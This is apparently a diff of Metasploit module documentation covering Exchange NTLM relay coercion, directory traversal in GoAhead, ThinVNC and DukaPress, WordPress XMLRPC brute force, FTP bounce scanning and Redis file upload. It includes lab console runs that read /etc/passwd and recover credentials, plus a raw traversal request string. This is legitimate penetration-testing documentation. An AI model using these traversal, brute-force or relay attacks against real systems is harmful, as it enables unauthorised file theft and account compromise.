* Microsoft Exchange 2013 and 2016
* Tested on Exchange 2016
* Usage:
* Download and install Exchange Server within a Windows domain
* Setup a mailbox with a domain user
* Run the module
* Relay the NTLM authentication to the DC
## Verification Steps
Example steps:
1. Start msfconsole
2. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription```
3. Do: ```set attacker_url <url>```
4. Do: ```set rport <target_port>```
5. Do: ```set rhost <target_IP>```
6. Do: ```set domain <domain_name>```
7. Do: ```set password <user_pass>```
8. Do: ```set username <user_pass>```
9. Do: ```run```
## Options
**The ATTACKER_URL option**
This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate.
**The PASSWORD option**
This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange.
## Scenarios
This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control.
An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights.
@@ -0,0 +1,67 @@
## Vulnerable Application
This module looks for a `.git` folder on a web server, and attempts to read the `config` and `index` files to gather information about the repo.
### Environment
On Kali, we can clone metasploit into the apache folder to create a vulnerable environment.
```
root@kali:~# cd /var/www/html/
root@kali:/var/www/html# git clone https://github.com/rapid7/metasploit-framework.git
Cloning into 'metasploit-framework'...
remote: Enumerating objects: 49, done.
remote: Counting objects: 100% (49/49), done.
remote: Compressing objects: 100% (41/41), done.
remote: Total 509870 (delta 18), reused 20 (delta 8), pack-reused 509821
Receiving objects: 100% (509870/509870), 415.71 MiB | 8.61 MiB/s, done.
Resolving deltas: 100% (372897/372897), done.
Updating files: 100% (10064/10064), done.
root@kali:/var/www/html# service apache2 start
```
## Verification Steps
1. Install a git repo in a web server
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/git_scanner```
4. Do: ```set rhosts [ip]```
5. Do: ```run```
6. You should get information about the git repo
## Options
**GIT_CONFIG**
Attempts to locate the `config` file, which may contain useful information. Default is `true`.
**GIT_INDEX**
Attempts to locate the `index` file, which identifies the git version and number of files. Default is `true`.
**TARGETURI**
Where the `.git` folder is located. Default is `/.git/`
**UserAgent**
The user agent to emulate. Default is `git/1.7.9.5`.
## Scenarios
### Metasploit git on Kali
```
msf5 > use auxiliary/scanner/http/git_scanner
msf5 auxiliary(scanner/http/git_scanner) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/git_scanner) > set TARGETURI /metasploit-framework/.git/
TARGETURI => /metasploit-framework/.git/
msf5 auxiliary(scanner/http/git_scanner) > run
[+] http://127.0.0.1/metasploit-framework/.git/ - git repo (version 2) found with 10064 files
[+] http://127.0.0.1/metasploit-framework/.git/config - git config file found
[+] Saved file to: /root/.msf4/loot/20191007202314_default_127.0.0.1_config_236738.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,154 @@
## Vulnerable Application
GoAhead web server by EmbedThis versions from 3.0.0 through 3.4.1 contains a directory traversal vulnerability.
To exploit this vulnerability, each `../` must be matched with a `.x/`, with each being grouped together.
For instance a depth of 2 will look as follows: `../../.x/.x/foobar`.
An excellent writeup is available on [PacketStorm](https://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html).
### Install on Kali
Since `goahead` is available on Git, we can simply download the vulnerable version, compile, and run it.
```
root@kali:/tmp# wget https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
--2019-10-07 20:42:28-- https://github.com/embedthis/goahead/archive/v3.4.1.tar.gz
Resolving github.com (github.com)... 192.30.253.113
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1 [following]
--2019-10-07 20:42:29-- https://codeload.github.com/embedthis/goahead/tar.gz/v3.4.1
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: v3.4.1.tar.gz
v3.4.1.tar.gz [ <=> ] 5.95M 6.35MB/s in 0.9s
2019-10-07 20:42:30 (6.35 MB/s) - v3.4.1.tar.gz saved [6234594]
root@kali:/tmp# tar -zxf v3.4.1.tar.gz
root@kali:/tmp# cd goahead-3.4.1/
root@kali:/tmp/goahead-3.4.1# make
make --no-print-directory -f projects/goahead-linux-default.mk all
[Info] Use make SHOW=1 to trace executed commands.
[Copy] build/linux-x64-default/bin/ca.crt
[Copy] build/linux-x64-default/inc/osdep.h
[Copy] build/linux-x64-default/inc/est.h
[Compile] build/linux-x64-default/obj/estLib.o
[Link] build/linux-x64-default/bin/libest.so
[Copy] build/linux-x64-default/inc/goahead.h
[Copy] build/linux-x64-default/inc/js.h
[Compile] build/linux-x64-default/obj/action.o
[Compile] build/linux-x64-default/obj/alloc.o
[Compile] build/linux-x64-default/obj/auth.o
[Compile] build/linux-x64-default/obj/cgi.o
[Compile] build/linux-x64-default/obj/crypt.o
[Compile] build/linux-x64-default/obj/file.o
[Compile] build/linux-x64-default/obj/fs.o
[Compile] build/linux-x64-default/obj/http.o
[Compile] build/linux-x64-default/obj/js.o
[Compile] build/linux-x64-default/obj/jst.o
[Compile] build/linux-x64-default/obj/options.o
[Compile] build/linux-x64-default/obj/osdep.o
[Compile] build/linux-x64-default/obj/rom-documents.o
[Compile] build/linux-x64-default/obj/route.o
[Compile] build/linux-x64-default/obj/runtime.o
[Compile] build/linux-x64-default/obj/socket.o
[Compile] build/linux-x64-default/obj/upload.o
[Compile] build/linux-x64-default/obj/est.o
[Compile] build/linux-x64-default/obj/matrixssl.o
[Compile] build/linux-x64-default/obj/nanossl.o
[Compile] build/linux-x64-default/obj/openssl.o
[Link] build/linux-x64-default/bin/libgo.so
[Compile] build/linux-x64-default/obj/goahead.o
[Link] build/linux-x64-default/bin/goahead
[Compile] build/linux-x64-default/obj/test.o
[Link] build/linux-x64-default/bin/goahead-test
[Compile] build/linux-x64-default/obj/gopass.o
[Link] build/linux-x64-default/bin/gopass
You can now install via "sudo make install" or run GoAhead via: "sudo make run"
To run locally, put linux-x64-default/bin in your path
root@kali:/tmp/goahead-3.4.1# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/goahead_traversal```
4. Do: ```set rhosts [ip]```
5. Do: ```set depth [number]```
6. Do: ```run```
7. You should get the file contents.
## Options
**DEPTH**
The depth to traverse from the webroot. This does not need to be exact, overshooting (using a number larger than needed)
will still result in the file being obtained. Default is `5`
**FILEPATH**
The path to the file to read. Default is `/etc/passwd`.
## Scenarios
### GoAhead 3.4.1 on Kali
Install from the instructions at the top of this document.
```
msf5 > use auxiliary/scanner/http/goahead_traversal
msf5 auxiliary(scanner/http/goahead_traversal) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/goahead_traversal) > set depth 5
depth => 5
msf5 auxiliary(scanner/http/goahead_traversal) > run
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
[+] File saved in: /root/.msf4/loot/20191007213309_default_127.0.0.1_goahead.traversa_324804.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Server Logs
When setting the server to verbose output, the following is shown during exploitation:
```
# build/linux-x64-default/bin/goahead --verbose --home test /var/www/html/
goahead: 2: Configuration for Embedthis GoAhead
goahead: 2: ---------------------------------------------
goahead: 2: Version: 3.4.1
goahead: 2: BuildType: Debug
goahead: 2: CPU: x64
goahead: 2: OS: linux
goahead: 2: Host: 127.0.1.1
goahead: 2: Directory: /var/www/html/goahead-3.4.1/test
goahead: 2: Documents: /var/www/html/
goahead: 2: Configure: me -d -q -platform linux-x86-default -configure . -with est -gen make
goahead: 2: ---------------------------------------------
goahead: 2: Started http://*:80
goahead: 2: Started https://*:443
goahead: 2: GET ../../../../../.x/.x/.x/.x/.x/etc/passwd HTTP/1.1
```
@@ -22,7 +22,7 @@ Module options (auxiliary/scanner/http/http_header):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP_METHOD HEAD yes HTTP Method to use, HEAD or GET (Accepted: GET, HEAD)
IGN_HEADER Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges yes List of headers to ignore, seperated by comma
IGN_HEADER Vary,Date,Content-Length,Connection,Etag,Expires,Pragma,Accept-Ranges yes List of headers to ignore, separated by comma
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for Joomla Content Management System running on a web server for the following pages:
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for Joomla Content Management System running on a web server for components/plugins.
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
@@ -140,4 +140,4 @@ Directory listing is enabled : http://192.168.2.39/components/com_users/
Location : http://192.168.2.39/components/com_wrapper/
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
Installed version : 3.1
```
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for Joomla Content Management System running on a web server.
@@ -38,4 +38,4 @@ Processing http://192.168.2.39 ...
[+] Detecting Joomla Version
[++] Joomla 3.8.2
...snip...
```
```
@@ -16,7 +16,7 @@ The onion_omega2_login module is used to brute-force credentials for Onion Omage
4. Do: `use auxiliary/scanner/http/onion_omega2_login`
5. Do: `set RHOSTS 192.168.3.1`
6. Do: `set USERPASS_FILE <user pass dictionary>`
- username and password seperated by space and one pair per line.
- username and password separated by space and one pair per line.
7. Do: `run`
Sample userpass file:
@@ -0,0 +1,38 @@
## Description
This module exploits a directory traversal vulnerability in ThinVNC
versions 1.0b1 and prior which allows unauthenticated users to retrieve
arbitrary files, including the ThinVNC configuration file.
## Vulnerable Application
This module has been tested successfully on ThinVNC versions 1.0b1
and "ThinVNC_Latest" (2018-12-07).
ThinVNC is available on [Sourceforge](https://sourceforge.net/projects/thinvnc/files/).
## Verification Steps
1. `./msfconsole`
2. `use auxiliary/scanner/http/thinvnc_traversal`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### ThinVNC version 1.0b1 on Windows XP SP3
```
msf5 > use auxiliary/scanner/http/thinvnc_traversal
msf5 auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123
rhosts => 172.16.123.123
msf5 auxiliary(scanner/http/thinvnc_traversal) > run
[+] File ThinVnc.ini saved in: /root/.msf4/loot/20191017033828_default_172.16.123.123_thinvnc.traversa_713640.txt
[+] Found credentials: admin:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/thinvnc_traversal) >
```
@@ -0,0 +1,111 @@
## Description
Generates a GET request to the provided web servers and returns the server header, HTML title attribute and location header (if set). This is useful for rapidly identifying interesting web applications en mass.
## Verification Steps
1. Do: `use auxiliary/scanner/http/title`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**SHOW_TITLES**
If set to `false`, will not show the titles on the console as they are grabbed. Defaults to `true`.
**STORE_NOTES**
If set to `false`, will not store the captured information in notes. Use `notes -t http.title` to view. Defaults to `true`.
## Scenarios
### Apache/2.4.38 inside a Docker container
```
msf5 > use auxiliary/scanner/http/title
msf5 auxiliary(scanner/http/title) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf5 auxiliary(scanner/http/title) > run
[+] [172.17.0.2:80] [C:200] [R:] [S:Apache/2.4.38 (Debian)] LOCAL TESTING
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Burp Suite Community Edition
### HTTP GET Request
```
GET / HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
### Server Response
```
HTTP/1.1 200 OK
Date: Wed, 16 Oct 2019 17:27:49 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.23
Content-Length: 68
Connection: close
Content-Type: text/html; charset=UTF-8
&lt;html>&lt;head>&lt;title>LOCAL TESTING&lt;/title>&lt;/head>&lt;body>&lt;/body>&lt;/html>
```
## Confirming using Nikto
This will only identify server version and Location header, not HTML title.
```
nikto -host http://172.17.0.2 -Plugin headers
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.17.0.2
+ Target Hostname: 172.17.0.2
+ Target Port: 80
+ Start Time: 2019-10-16 19:30:55 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ Retrieved x-powered-by header: PHP/7.2.23
```
## Confirming using NMAP
Utilizing the [http-title](https://nmap.org/nsedoc/scripts/http-title.html) NMAP script.
```
# nmap -sV -p80 --script http-title 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-20 21:11 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000049s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Debian))
|_http-server-header: Apache/2.4.41 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
```
## Confirming using CURL
This will use `grep` to filter for just the content between the title tags.
```
# curl -s 127.0.0.1:80 | grep \&lt;title\>
&lt;title>Apache2 Debian Default Page: It works&lt;/title>
```
@@ -0,0 +1,101 @@
## Description
Detects Wordpress installations and their version number.
## Vulnerable Application
### Setup using Docksal
Install [Docksal](https://docksal.io/)
Create a new WordPress installation using `fin project create`
```
fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
2. What would you like to install?
PHP based
1. Drupal 8
2. Drupal 8 (Composer Version)
3. Drupal 7
4. Wordpress
5. Magento
6. Laravel
7. Symfony Skeleton
8. Symfony WebApp
9. Grav CMS
10. Backdrop CMS
Go based
11. Hugo
JS based
12. Gatsby JS
13. Angular
HTML
14. Static HTML site
Enter your choice (1-14): 4
Project folder: /home/weh/dev/msf-wp
Project software: Wordpress
Project URL: http://msf-wp.docksal
Do you wish to proceed? [y/n]: y
Cloning repository...
Cloning into 'msf-wp'...
...
3. Installing site
Step 1 Initializing stack...
Removing containers...
...
Starting services...
Creating network "msf-wp_default" with the default driver
Creating volume "msf-wp_cli_home" with default driver
Creating volume "msf-wp_project_root" with local driver
Creating volume "msf-wp_db_data" with default driver
Creating msf-wp_db_1 ... done
Creating msf-wp_cli_1 ... done
Creating msf-wp_web_1 ... done
Connected vhost-proxy to "msf-wp_default" network.
Waiting for project stack to become ready...
Step 2 Initializing site...
Step 2 Generating wp-config.php...
Success: Generated 'wp-config.php' file.
Step 3 Installing site...
msmtp: envelope-from address is missing
Success: WordPress installed successfully.
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
```
## Verification Steps
1. Do: ```use auxiliary/scanner/http/wordpress_sanner```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set VHOST [HOSTNAME]```
4. Do: ```run```
### Wordpress 5.2 running in Docksal
Follow the Instructions above to setup the Docksal Containers.
```
msf5 > use auxiliary/scanner/http/wordpress_scanner
msf5 auxiliary(scanner/http/wordpress_scanner) > set RHOST msf-wp.docksal
RHOST => msf-wp.docksal
msf5 auxiliary(scanner/http/wordpress_scanner) > set VHOST msf-wp.docksal
VHOST => msf-wp.docksal
msf5 auxiliary(scanner/http/wordpress_scanner) > run
[*] Trying 192.168.64.100
[+] 192.168.64.100 running Wordpress 5.2
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/wordpress_scanner) >
```
@@ -0,0 +1,166 @@
## Description
This module attempts to authenticate against a Wordpress-site (via
XMLRPC) using username and password combinations indicated by the
`USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
## References
* [https://codex.wordpress.org/XML-RPC_Support](https://codex.wordpress.org/XML-RPC_Support)
* [http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/](http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/)
## Vulnerable Application
### Setup using Docksal
Install [Docksal](https://docksal.io/)
Create a new WordPress installation using `fin project create`
```
fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
2. What would you like to install?
PHP based
1. Drupal 8
2. Drupal 8 (Composer Version)
3. Drupal 7
4. Wordpress
5. Magento
6. Laravel
7. Symfony Skeleton
8. Symfony WebApp
9. Grav CMS
10. Backdrop CMS
Go based
11. Hugo
JS based
12. Gatsby JS
13. Angular
HTML
14. Static HTML site
Enter your choice (1-14): 4
Project folder: /home/weh/dev/msf-wp
Project software: Wordpress
Project URL: http://msf-wp.docksal
Do you wish to proceed? [y/n]: y
Cloning repository...
Cloning into 'msf-wp'...
...
3. Installing site
Step 1 Initializing stack...
Removing containers...
...
Starting services...
Creating network "msf-wp_default" with the default driver
Creating volume "msf-wp_cli_home" with default driver
Creating volume "msf-wp_project_root" with local driver
Creating volume "msf-wp_db_data" with default driver
Creating msf-wp_db_1 ... done
Creating msf-wp_cli_1 ... done
Creating msf-wp_web_1 ... done
Connected vhost-proxy to "msf-wp_default" network.
Waiting for project stack to become ready...
Step 2 Initializing site...
Step 2 Generating wp-config.php...
Success: Generated 'wp-config.php' file.
Step 3 Installing site...
msmtp: envelope-from address is missing
Success: WordPress installed successfully.
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
```
## Verification Steps
1. Do: ```use auxiliary/scanner/http/wordpress_xmlrpc_login```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set VHOST [HOSTNAME]```
4. Do: ```set USERNAME [user]```
5. Do: ```set PASSWORD [pass]```
6. Do: ```run```
## Options
**USERNAME**
A specific username to authenticate as
**USER_FILE**
File containing usernames, one per line
**PASSWORD**
A specific password to authenticate with
**PASS_FILE**
File containing passwords, one per line
**USERPASS_FILE**
File containing users and passwords separated by space, one pair per line
**USER_AS_PASS**
Try the username as the password for all users (default: `false`)
## Scenarios
### Wordpress 5.2 running in Docksal
Follow the Instructions above to setup the Docksal Containers.
```
msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal
RHOST => msf-wp.docksal
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set VHOST msf-wp.docksal
VHOST => msf-wp.docksal
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin
USERNAME => admin
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin
PASSWORD => admin
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run
[*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello...
[+] 192.168.64.100:80 - XMLRPC enabled, Hello message received!
[*] Starting XML-RPC login sweep...
[+] 192.168.64.100:80 - Success: 'admin:admin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) >
```
### Wordpress 5.2 with disabled or protected XMLRPC
You may see this message also, if you forgot to set the `VHOST` option.
```
msf5 > use auxiliary/scanner/http/wordpress_xmlrpc_login
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST msf-wp.docksal
RHOST => msf-wp.docksal
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME admin
USERNAME => admin
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASSWORD admin
PASSWORD => admin
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) > run
[*] 192.168.64.100:80 :/xmlrpc.php - Sending Hello...
[-] XMLRPC is not enabled! Aborting
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/wordpress_xmlrpc_login) >
```
@@ -0,0 +1,157 @@
## Description
This module exploits a directory traversal vulnerability in WordPress Plugin
"DukaPress" version 2.5.3, allowing to read arbitrary files with the
web server privileges.
## Vulnerable Application
### Wordpress with installed DukaPress <= 2.5.3
* [https://wordpress.org/plugins/dukapress](https://wordpress.org/plugins/dukapress)
* [Plugin v2.5.3](https://downloads.wordpress.org/plugin/dukapress.2.5.3.zip)
### Setup using Docksal
Install [Docksal](https://docksal.io/)
Create a new Wordpress installation using `fin project create`
```
fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp
2. What would you like to install?
PHP based
1. Drupal 8
2. Drupal 8 (Composer Version)
3. Drupal 7
4. Wordpress
5. Magento
6. Laravel
7. Symfony Skeleton
8. Symfony WebApp
9. Grav CMS
10. Backdrop CMS
Go based
11. Hugo
JS based
12. Gatsby JS
13. Angular
HTML
14. Static HTML site
Enter your choice (1-14): 4
Project folder: /home/weh/dev/msf-wp
Project software: Wordpress
Project URL: http://msf-wp.docksal
Do you wish to proceed? [y/n]: y
Cloning repository...
Cloning into 'msf-wp'...
...
3. Installing site
Step 1 Initializing stack...
Removing containers...
...
Starting services...
Creating network "msf-wp_default" with the default driver
Creating volume "msf-wp_cli_home" with default driver
Creating volume "msf-wp_project_root" with local driver
Creating volume "msf-wp_db_data" with default driver
Creating msf-wp_db_1 ... done
Creating msf-wp_cli_1 ... done
Creating msf-wp_web_1 ... done
Connected vhost-proxy to "msf-wp_default" network.
Waiting for project stack to become ready...
Step 2 Initializing site...
Step 2 Generating wp-config.php...
Success: Generated 'wp-config.php' file.
Step 3 Installing site...
msmtp: envelope-from address is missing
Success: WordPress installed successfully.
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
```
Download the wordpress plugin
```
cd msf-wp/wp-content/plugins
wget https://downloads.wordpress.org/plugin/dukapress.2.5.3.zip
unzip dukapress.2.5.3.zip
```
Login and click on DukaPress "Activate" Link
```
http://msf-wp.docksal/wp-admin/plugins.php
user: admin
pass: admin
```
## Verification Steps
1. Do: ```use auxiliary/scanner/http/wp_dukapress_file_read```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set VHOST [HOSTNAME]```
4. Do: ```run```
## Options
**FILEPATH**
The path to the file to read (default: `/etc/passwd`)
**DEPTH**
Traversal Depth (to reach the root folder) (default: `7`)
## Scenarios
### Wordpress 5.2 running in Docksal
Follow the Instructions above to setup the Docksal Containers.
````
msf5 > use auxiliary/scanner/http/wp_dukapress_file_read
msf5 > set RHOST msf-wp.docksal
RHOST => msf-wp.docksal
msf5 > set VHOST msf-wp.docksal
VHOST => msf-wp.docksal
msf5 > run
[*] Downloading file...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:1000::/home/docker:/bin/bash
[+] File saved in: /home/weh/.msf4/loot/20191009203058_default_192.168.64.100_dukapress.file_560342.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,67 @@
## Vulnerable Application
Enumerate TCP services via the FTP bounce PORT/LIST method
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/portscan/ftpbounce`
3. Do: `set BOUNCEHOST [ip]`
4. Do: `set PORTS [number(s)]`
5. Do: `set RHOSTS [ip]`
6. Do: `set FTPUSER [user]`
7. Do: `set FTPPASS [password]`
8. Do: `run`
## Scenarios
Docker Usage: `docker run -e "ADDED_FLAGS=-w -W -d -d" -e FTP_USER_NAME=bob -e FTP_USER_PASS=12345 -e FTP_USER_HOME=/home/bob stilliard/pure-ftpd`
### PureFTPd and Kali Linux 2019.3
```
msf > use modules/auxiliary/scanner/portscan/ftpbounce
msf auxiliary(scanner/portscan/ftpbounce) > set BOUNCEHOST 172.17.0.2
BOUNCEHOST => 172.17.0.2
msf auxiliary(scanner/portscan/ftpbounce) > set PORTS 8080
BOUNCEPORT => 8080
msf auxiliary(scanner/portscan/ftpbounce) > set RHOSTS 172.17.0.4
RHOSTS => 172.17.0.4
msf auxiliary(scanner/portscan/ftpbounce) > set FTPUSER bob
FTPUSER => bob
msf auxiliary(scanner/portscan/ftpbounce) > set FTPPASS 12345
FTPPASS => 12345
msf auxiliary(scanner/portscan/ftpbounce) > run
[+] 172.17.0.2:21 - TCP OPEN 172.17.0.4:8080
[*] 172.17.0.2:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Manual Exploitation
```
root@ubuntu:~# nmap -p 8080 -v -b bob:12345@172.17.0.2 172.17.0.4 -Pn
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-25 20:34 UTC
Resolved FTP bounce attack proxy to 172.17.0.2 (172.17.0.2).
Initiating Parallel DNS resolution of 1 host. at 20:34
Completed Parallel DNS resolution of 1 host. at 20:34, 0.00s elapsed
Attempting connection to ftp://bob:12345@172.17.0.2:21
Connected:220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5 allowed.
220-Local time is now 20:34. Server port: 21.
220-This is a private system - No anonymous login
220-This server supports FXP transfers
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 20:34
Discovered open port 8080/tcp on 172.17.0.4
Completed Bounce Scan at 20:34, 0.00s elapsed (1 total ports)
Nmap scan report for 172.17.0.4
Host is up.
PORT STATE SERVICE
8080/tcp open http-proxy
```
@@ -0,0 +1,56 @@
## Description
Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.
This module can be used to leverage functionality exposed by Redis to achieve somewhat arbitrary file upload to a file and directory to which the user account running the redis instance has access. It is not totally arbitrary because the exact contents of the file cannot be completely controlled given the nature of how Redis stores its database on disk.
## Vulnerable Application
This module is tested on two different Redis server instances.
Virtual testing environments (inside docker container):
- Redis 5.0.6
- Redis 4.0.14
## Verification Steps
1. Do: `use auxiliary/scanner/redis/file_upload`
2. Do: `set rhosts [ips]`
3. Do: `set LocalFile [local_file_path_to_be_uploaded]`
4. Do: `set RemoteFile [remote_file_destination]`
5. Do: `run`
## Options
**DISABLE_RDBCOMPRESSION**
If set to `false`, redis server will disable compression before saving. Defaults to `true`.
**FLUSHALL**
If set to `true`, redis server will remove all redis data before saving. Defaults to `false`.
**LocalFile**
Path to the local file to be uploaded.
**RemoteFile**
Path, or file name, to store the file as on the Redis server.
## Scenarios
### Redis: 4.0.14 inside a docker container
```
msf5 auxiliary(scanner/redis/file_upload) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf5 auxiliary(scanner/redis/file_upload) > set LocalFile redis_upload_test.txt
LocalFile => redis_upload_test.txt
msf5 auxiliary(scanner/redis/file_upload) > set RemoteFile redis_upload_test.txt
RemoteFile => redis_upload_test.txt
msf5 auxiliary(scanner/redis/file_upload) > run
[+] 172.17.0.2:6379 - 172.17.0.2:6379 -- saved 23 bytes inside of redis DB at redis_upload_test.txt
[*] 172.17.0.2:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,41 @@
## Description
Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability.
